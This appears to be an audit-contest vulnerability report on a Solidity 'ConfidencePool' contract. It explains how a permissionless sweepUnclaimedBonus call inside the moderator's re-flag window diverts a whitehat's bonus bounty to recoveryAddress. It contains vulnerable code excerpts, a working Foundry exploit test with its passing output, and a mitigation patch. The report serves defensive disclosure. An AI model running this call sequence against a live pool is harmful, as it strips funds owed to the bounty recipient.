FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

sweepUnclaimedBonus during the moderator's re-flag window permanently diverts a good-faith attacker's bonus bounty to recoveryAddress

Author Revealed upon completion

Root + Impact

Description

A pool that resolves CORRUPTED is meant to pay the entire pool (staked principal + contributed bonus) to the moderator-named good-faith whitehat attacker (docs/DESIGN.md §12). The moderator may correct an outcome (e.g. SURVIVEDCORRUPTED) at any time before the first value-moving claim — and sweepUnclaimedBonus deliberately does not latch claimsStarted, so that correction window stays open after a sweep.

When a pool resolves without an observed risk window (riskWindowStart == 0DESIGN.md §5's "no-risk-window CORRUPTED race"), sweepUnclaimedBonus reserves only the staked principal and lets the entire contributed bonus be swept to the sponsor-controlled recoveryAddress. A single permissionless sweep, timed between an honest out-of-scope flagOutcome(SURVIVED) and its designed-for correction to flagOutcome(CORRUPTED), permanently removes the bonus from the whitehat's bounty: the re-flag re-reads the now-zeroed live totalBonus into the snapshot.

// src/ConfidencePool.sol :: sweepUnclaimedBonus() (~L483)
uint256 reserved;
if (totalEligibleStake != 0) {
reserved = totalEligibleStake;
@> if (riskWindowStart != 0) { // bonus reserved ONLY when a risk window existed
reserved += snapshotTotalBonus - claimedBonus;
}
}
// => with riskWindowStart == 0, the whole totalBonus is swept to recoveryAddress,
// and claimsStarted is intentionally NOT set (L503), leaving the re-flag window open.
// src/ConfidencePool.sol :: flagOutcome() (re-flag allowed while !claimsStarted, L327)
@> snapshotTotalBonus = totalBonus; // re-reads the now-zeroed bonus (L358)
bountyEntitlement = willBeGoodFaithCorrupted ? snapshotTotalStaked + snapshotTotalBonus : 0; // L362

Risk

Likelihood:

  • Applies whenever the registry reaches a terminal CORRUPTED state without any pool entrypoint observing an active-risk state first (a fast ATTACK_REQUESTEDCORRUPTED transition), leaving riskWindowStart == 0 — a path the protocol's own DESIGN.md §5 documents as reachable.

  • The moderator makes the documented out-of-scope SURVIVED call and later corrects it to CORRUPTED; the sweepUnclaimedBonus() trigger is permissionless, so any third party — or the sponsor who owns recoveryAddress — front-runs the correction.

Impact:

  • Permanent, unrecoverable diversion of up to 100% of the pool's contributed bonus to recoveryAddress instead of the named whitehat.

  • Breaks the DESIGN.md §12 guarantee that a CORRUPTED resolution makes the entire pool the attacker's bounty; the whitehat is shorted to principal-only.

Proof of Concept

Two Foundry tests (extending the repo's BaseConfidencePoolTest) share identical preconditions; the only difference is the inserted SURVIVED misflag plus one permissionless sweepUnclaimedBonus(). control yields the intended stake + bonus; exploit yields stake only, with the bonus stranded at recoveryAddress.

uint256 internal constant STAKE = 100 * ONE;
uint256 internal constant BONUS = 50 * ONE;
// Intended behavior: attacker receives the WHOLE pool (DESIGN.md §12).
function test_control_attackerGetsWholePool() public {
_stake(alice, STAKE);
_contributeBonus(bob, BONUS);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
assertEq(pool.riskWindowStart(), 0);
vm.prank(attacker);
pool.claimAttackerBounty();
assertEq(token.balanceOf(attacker), STAKE + BONUS);
assertEq(token.balanceOf(recovery), 0);
}
// Exploit: a permissionless sweep inside the re-flag window strips the bonus from the bounty.
function test_exploit_bonusDivertedFromAttacker() public {
_stake(alice, STAKE);
_contributeBonus(bob, BONUS);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
assertEq(pool.riskWindowStart(), 0);
vm.prank(moderator); // 1) honest out-of-scope misflag
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(makeAddr("griefer")); // 2) permissionless sweep
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery), BONUS);
assertEq(pool.totalBonus(), 0);
vm.prank(moderator); // 3) designed-for correction
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
assertEq(pool.bountyEntitlement(), STAKE); // bounty shrunk to stake-only
vm.prank(attacker); // 4) whitehat shorted
pool.claimAttackerBounty();
assertEq(token.balanceOf(attacker), STAKE);
assertEq(token.balanceOf(recovery), BONUS); // bonus lost to recovery
}

Concrete outcome: the named whitehat receives 100e18 (stake only) instead of the promised 150e18 (stake + bonus) — 50e18, i.e. 100% of the contributed bonus, is permanently diverted to recoveryAddress.

Result (Foundry 1.7.1, solc 0.8.26, run against the contest commit in an isolated container):

[PASS] test_control_attackerGetsWholePool() (gas: 578313)
[PASS] test_exploit_bonusDivertedFromAttacker() (gas: 591939)
Suite result: ok. 2 passed; 0 failed

Recommended Mitigation

Do not let the bonus leave the pool while the outcome can still be corrected to CORRUPTED (i.e. before claimsStarted):

function sweepUnclaimedBonus() external nonReentrant {
if (outcome != PoolStates.Outcome.SURVIVED && outcome != PoolStates.Outcome.EXPIRED) {
revert OutcomeNotEligibleForSweep();
}
+ // The moderator's SURVIVED->CORRUPTED correction window is open until the first
+ // value-moving claim; sweeping the bonus now would strip a later CORRUPTED bounty.
+ if (!claimsStarted) revert OutcomeNotFinal();

Alternatively, reserve snapshotTotalBonus - claimedBonus regardless of riskWindowStart whenever !claimsStarted, and on a SURVIVEDCORRUPTED re-flag reconstruct the bounty from the resolution-time totals rather than the post-sweep live totalBonus.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!